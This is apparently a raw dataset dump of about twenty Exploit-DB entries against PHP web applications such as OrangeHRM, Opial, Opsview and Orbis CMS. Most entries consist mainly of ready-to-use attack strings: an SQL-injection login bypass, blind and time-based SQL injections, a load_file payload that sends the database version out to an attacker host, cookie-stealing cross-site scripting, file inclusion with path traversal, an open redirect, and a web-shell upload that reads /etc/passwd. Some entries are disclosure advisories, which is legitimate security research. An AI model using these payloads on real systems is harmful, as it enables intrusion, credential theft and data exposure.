deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9079
Description: Opial 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-02
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] ~Fleck i love you :D hahaha
==============================================================================
        [Â»] Opial Version 1.0 (Auth Bypass) Remote Sql Injection
==============================================================================

	[Â»] Script:             [ Opial Version 1.0 ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.opial.com/ ]
	[Â»] Founder:            [ Moudi or SixSo <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , and all hackers... ]
        [Â»] Team:               [ EvilWay ]
        [Â»] SiteWeb:            [ Visit - www.opensc.ws ]
        [Â»] Price:              [ $35 - $155 ]

###########################################################################

===[ Exploit SQL ]===	
	
	[Â»] http://www.site.com/patch/admin/

        [Â»] User Name : admin' or '1=1
        [Â»] Password  : leave empty here

===[ LIVE DEMO ]===	

        [Â»] http://www.opial.com/demo/admin/

        [Â»] User Name : admin' or '1=1
        [Â»] [CREDENTIAL_REDACTED]: Moudi

###########################################################################

# milw0rm.com [2009-07-02]
Exploit-DB #28664
Description: Opial AV Download Management 1.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-25
Author: meto5757

Exploit:
source: https://www.securityfocus.com/bid/20174/info

Opial Audio/Visual Download Management is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/index.php?view=Login&destination=[xss]
Exploit-DB #29326
Description: Opsview pre 4.4.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2013-10-31
Author: J. Oquendo

Exploit:
CVE-2013-5694 Blind SQL Injection in Ops View
Version(s): Opsview pre 4.4.1
Author: J. Oquendo (joquendo at e-fensive dot net)


I. ADVISORY

Title: Blind SQL Injection in OpsView
Date published: 2013-10-28
Vendor contacted: 2013-09-04


II. BACKGROUND

Opsview is a systems management software built on open
source software. To minimize noise, read more about it
here

http://www.opsview.com/about-us


II. DESCRIPTION

A Blind SQL injection vulnerability exists in OpsView
"acknowledge" function. A malicious user can post bad data
leading to a database dump, user creation, code execution,
etc.

POST /status/service/acknowledge HTTP/1.1
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
Host: 10.20.30.68:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Opera/5.54 (Windows NT 5.1; U)  [en]

comment=&from=http%3a%2f%2f10.20.30.68%2fstatus%2fhostgroup&notify=1&service_selection=%24%7dsql injection goes 
here%7d&submit=Submit

For more on BSQLI read about it here:

http://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection


III SOLUTION

Opsview released a fix with Opsview 4.4.1
http://docs.opsview.com/doku.php?id=opsview4.4:changes#fixes


-- 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
J. Oquendo
SGFA, SGFE, C|EH, CNDA, CHFI, OSCP, CPT, RWSP, GREM

"Where ignorance is our master, there is no possibility of
real peace" - Dalai Lama

42B0 5A53 6505 6638 44BB  3943 2BF7 D83F 210A 95AF
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x2BF7D83F210A95AF
Exploit-DB #2192
Description: OPT Max 1.2.0 - 'CRM_inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-16
Author: Kacper

Exploit:
/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- OPT (Outreach Project Tool) <= 1.2.6 [CRM_inc] Remote File Include
Vulnerabilities
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: OPT (Outreach Project Tool) v. 1.2.6
- [Script site: http://sourceforge.net/projects/outreach
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Greetz: DragonHeart
- and all DEVIL TEAM Members :-)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Expl:

http://www.site.com/[opt_path]/include/urights.php?CRM_inc=[evil_scripts.txt]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-16]
Exploit-DB #32670
Description: Oracle Identity Manager 11g R2 SP1 (11.1.2.1.0) - Unvalidated Redirects
Type: webapps
Platform: php
Date: 2014-04-03
Author: Giuseppe D'Amore

Exploit:
Unvalidated Redirects on Oracle Identity Manager
=======================================================================

[ADVISORY INFORMATION]
Title:    		Unvalidated Redirects on Oracle Identity Manager
Discovery date: 	10/12/2013
Release date:   	03/04/2014
Vendor Homepage: 	www.oracle.com
Version:		Oracle Identity Manager 11g R2 SP1 (11.1.2.1.0)
Credits:        	Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b)
 
[VULNERABILITY INFORMATION]
Class:           	Unvalidated Redirects
Category:		Web

AFFECTED PRODUCTS]
This security vulnerability affects:

	* Oracle Identity Manager 11g R2 SP1 (11.1.2.1.0)

[VULNERABILITY DETAILS]

Sending to a legitimate user the following request:

https://trusteddomainname/identity/faces/firstlogin?action=changepwd&backUrl=https://myevildomain/

it is possible, after the password change procedure, to redirect the user to a malicious domain.

Attacker links to unvalidated redirect and tricks victims into clicking it. Victims are more likely to click on it, since the link is to a valid site. So such redirects may attempt to install malware or trick victims into disclosing passwords or other sensitive information. 
 
[DISCLOSURE TIME-LINE]
    * 10/12/2013 - Initial vendor contact.
 
    * 11/12/2013 - Oracle confirmed the issue is a new security vulnerability.
 
    * 03/04/2014 - Oracle hasn't fixed this vulnerability yet.
 
    * 03/04/2014 - Public disclosure.
 
[DISCLAIMER]
The author is not responsible for the misuse of the information provided in
this security advisory. The advisory is a service to the professional security
community. There are NO WARRANTIES with regard to this information. Any
application or distribution of this information constitutes acceptance AS IS,
at the user's own risk. This information is subject to change without notice.
Exploit-DB #29308
Description: Oracle Portal 9i/10g - Container_Tabs.jsp Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-22
Author: putosoft softputo

Exploit:
source: https://www.securityfocus.com/bid/21717/info

Oracle Portal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before returning it to the user. 

An attacker can exploit this issue to execute arbitrary HTML and script code in a userâ??s browser session in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

The vulnerability is reported in Oracle Portal versions 9i and10g.

http://<target>/webapp/jsp/container_tabs.jsp?tc=null%20=%20null;alert('Hello!');window.open('http://www.oracle.com/?fix_security_bugs_now',%20'null');//
Exploit-DB #7286
Description: OraMon 2.0.1 - Remote Configuration File Disclosure
Type: webapps
Platform: php
Date: 2008-11-29
Author: ahmadbady

Exploit:
........................

..............................................
+++++Bypass Config Download Vulnerability+++++
...............................................

script:Oramon = Oracle Database Monitoring

++++++++++++++++++++++++++++++++++++++++++++++++++++++++
download:http://www.oramon.org/downloads/oramon.tar.gz

++++++++++++++++++++++++++++++++++++++++++++++++++++++++
expl:

$USERID=
$[CREDENTIAL_REDACTED]=

www.site.com/path/config/oramon.ini

   
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  | | | | | |
Author: ahmadbady  
  | | | | | |
my mail: kivi_hacker666@yahoo.com | | | | | |
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2008-11-29]
Exploit-DB #38011
Description: OrangeHRM - 'sortField' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-07
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/56417/info

OrangeHRM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OrangeHRM 2.7.1-rc.1 is vulnerable; other versions may also be affected. 

http://www.example.com/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 ))))
Exploit-DB #15232
Description: OrangeHRM 2.6.0.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-10-11
Author: ZonTa

Exploit:
# Exploit Title: 	OrangeHRM 2.6.0.1 Local File Inclusion Vulnerability
# Date: 11-10-2010
# Author: ZonTa -[ LkHackerZ ]-
# Mail: zontahackers[at]gmail[dot]com
# Software Link: 	http://www.orangehrm.com/product-download.php?type=stable-zip
					http://sourceforge.net/projects/orangehrm/files/stable/2.6/orangehrm-2.6.0.1.zip/download
# Version: 2.6.0.1 
# Tested on: Apache,PHP5
-------------------------------------------------------------------------------------------------------------------

POC

http://localhost/orangehrm/index.php?uniqcode=KPI&menu_no_top=performance&uri=[local-file]

---------------------------------------------------- END ----------------------------------------------------------
Exploit-DB #36381
Description: OrangeHRM 2.6.11 - '/lib/controllers/CentralController.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-30
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/50857/info
  
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
OrangeHRM 2.6.11 is vulnerable; prior versions may also be affected. 

http://www.example.com/lib/controllers/centralcontroller.php?capturemode=updatemode&uniqcode=NAT&id=1 %27%20union%20select%20version%28%29,user%28%29%20--%20
Exploit-DB #36379
Description: OrangeHRM 2.6.11 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-30
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/50857/info

OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OrangeHRM 2.6.11 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php?menu_no_top=eim&uniqcode=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28123%29;% 3C/script%3E

http://www.example.com/index.php?menu_no_top=eim&uniqcode=USR&isAdmin=%22%3E%3C/iframe%3E%3Cscript%3E alert%28123%29;%3C/script%3E
Exploit-DB #36380
Description: OrangeHRM 2.6.11 - 'lib/controllers/CentralController.php' URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-30
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/50857/info
 
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
OrangeHRM 2.6.11 is vulnerable; prior versions may also be affected. 

http://www.example.com/lib/controllers/centralcontroller.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C /script%3E/?uniqcode=USR&VIEW=MAIN&isAdmin=1
Exploit-DB #35514
Description: OrangeHRM 2.6.2 - 'jobVacancy.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-27
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47046/info

OrangeHRM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

OrangeHRM 2.6.2 is vulnerable; other versions may also be affected. 

http://www.example.com/orangehrm-2.6.2/templates/recruitment/jobVacancy.php?recruitcode=%3C/script%3E%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #17212
Description: OrangeHRM 2.6.3 - 'PluginController.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-04-25
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................OrangeHRM 2.6.3
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.orangehrm.com/
Discovery Date..........4/25/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in OrangeHRM 2.6.3 can be
exploited to include arbitrary files.


--PoC--

http://localhost/orangehrm-2.6.3/plugins/PluginController.php?path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00
Exploit-DB #37142
Description: OrangeHRM 2.7 RC - '/plugins/ajaxCalls/haltResumeHsp.php?hspSummaryId' SQL Injection
Type: webapps
Platform: php
Date: 2012-05-09
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/53433/info

OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/plugins/ajaxCalls/haltResumeHsp.php?newHspStatus=1&empId=2&hspSummaryId=%27%20 OR%20%28select%20IF%28%28select%20mid%28version%28%29,1,1%29%29=5,%28select%20BENCHMARK%281000000,EN CODE%28%22hello%22,%22goodbye%22%29%29%29,%272%27%29%29%20--%202
Exploit-DB #37143
Description: OrangeHRM 2.7 RC - '/plugins/ajaxCalls/haltResumeHsp.php?newHspStatus' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-09
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/53433/info
 
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/plugins/ajaxCalls/haltResumeHsp.php?hspSummaryId=1&newHspStatus=1%3Cscript%3Ealert %28document.cookie%29;%3C/script%3E&empId=1
Exploit-DB #37144
Description: OrangeHRM 2.7 RC - '/templates/hrfunct/emppop.php?sortOrder1' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-09
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/53433/info
  
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/templates/hrfunct/emppop.php?reqcode=1&sortOrder1=%22%3E%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E
Exploit-DB #37145
Description: OrangeHRM 2.7 RC - 'index.php?URI' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-09
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/53433/info
   
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
   
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php?uri=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #42330
Description: Orangescrum 1.6.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2017-07-16
Author: tomplixsee

Exploit:
# Exploit Title: [Orangescrum 1.6.1 Multiple Vulnerabilities]
# Google Dork: [NA]
# Date: [July 9 2017]
# Exploit Author: [tomplixsee@yahoo.co.id]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [https://www.orangescrum.org/]
# Software Link: [https://www.orangescrum.org/free-download]
# Version: [1.6.1] 
# Tested on: [Ubuntu 16.04]
# CVE : [NA]

Orangescrum is one of task management software written in PHP. 

Its version 1.6.1 have multiple vulnerabilities. To exploit all of them, you have to log in first.

1. Arbitrary File Upload
Create or reply task. Then upload a file. The file will be uploaded into directory app/webroot/files/case_files, without any validation.
It then can be accessed from url http://yourorangescrum/app/webroot/files/case_files/thefile

2. SQL Injection (time based)
Send a POST request to http://yourorangescrum/easycases/ajax_change_AssignTo  , with POST variables caseId and assignId.
For example in python:
url = "http://yourorangescrum/easycases/ajax_change_AssignTo"
data = {"caseId":"1' AND SLEEP(5) AND 1='1","assignId":"1"}
headers = {
		'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
		'Accept': 'application/json, text/javascript, */*; q=0.01',
		'Cookie': yourcookie
}

3. XSS (stored)
Reply a task (choose html editor). Put your XSS code there. example <img src="nonexistimage" onerror="alert(document.cookie)">

4. Arbitrary File Copy
Look at an image profile url, it is something like this http://localhost/orangescrum/users/image_thumb/?type=photos&file=a6ebd6bd62ba537f37b7b8ac40aa626d.png&sizex=94&sizey=94&quality=100
To copy add variable dest, so it will be like this http://localhost/orangescrum/users/image_thumb/?type=photos&file=a6ebd6bd62ba537f37b7b8ac40aa626d.png&sizex=94&sizey=94&quality=100&dest=hacked.php
It will copy file a6ebd6bd62ba537f37b7b8ac40aa626d.png into hacked.php that will be stored in users/image_thumb/hacked.php
Conditions : 
- variable sizex and sizey must be the real width and height of file a6ebd6bd62ba537f37b7b8ac40aa626d.png (in this example)
Exploit-DB #34253
Description: Orbis CMS 1.0.2 - 'editor-body.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-05
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/41390/info

Orbis CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Orbis CMS 1.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/editors/text/editor-body.php?s=%22%3E%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #15636
Description: Orbis CMS 1.0.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-11-30
Author: Mark Stanislav

Exploit:
'Orbis CMS' Arbitrary Script Execution Vulnerability (CVE-2010-4313)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'Orbis CMS' fileman_file_upload.php script that allows any authenticated user to upload a PHP script and then run it without restriction.

 
II. TESTED VERSION
---------------------------------------
1.0.2 


III. PoC EXPLOIT
---------------------------------------
1) Login as any CMS user (administrator or non-administrator)
2) Upload your desired PHP script (e.g. cmd.php)
3) Navigate to http://www.example.com/orbis/uploads/cmd.php?cmd=cat%20/etc/passwd


IV. NOTES 
---------------------------------------
* This software is no longer developed according to the product page; it is still available for download though.
* Various other vulnerabilities exist in this code base (at least for previous versions); it's advisable not to use this software as patches are not coming.
* A vendor notice was not done for the aforementioned reasons.


V. SOLUTION
---------------------------------------
Overhaul the upload verification portion of fileman_file_upload.php completely.


VI. REFERENCES
---------------------------------------
http://www.novo-ws.com/orbis-cms/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4313
http://www.uncompiled.com/2010/11/orbis-cms-arbitrary-script-execution-vulnerability-cve-2010-4313/


VII. TIMELINE
---------------------------------------
11/30/2010: Public disclosure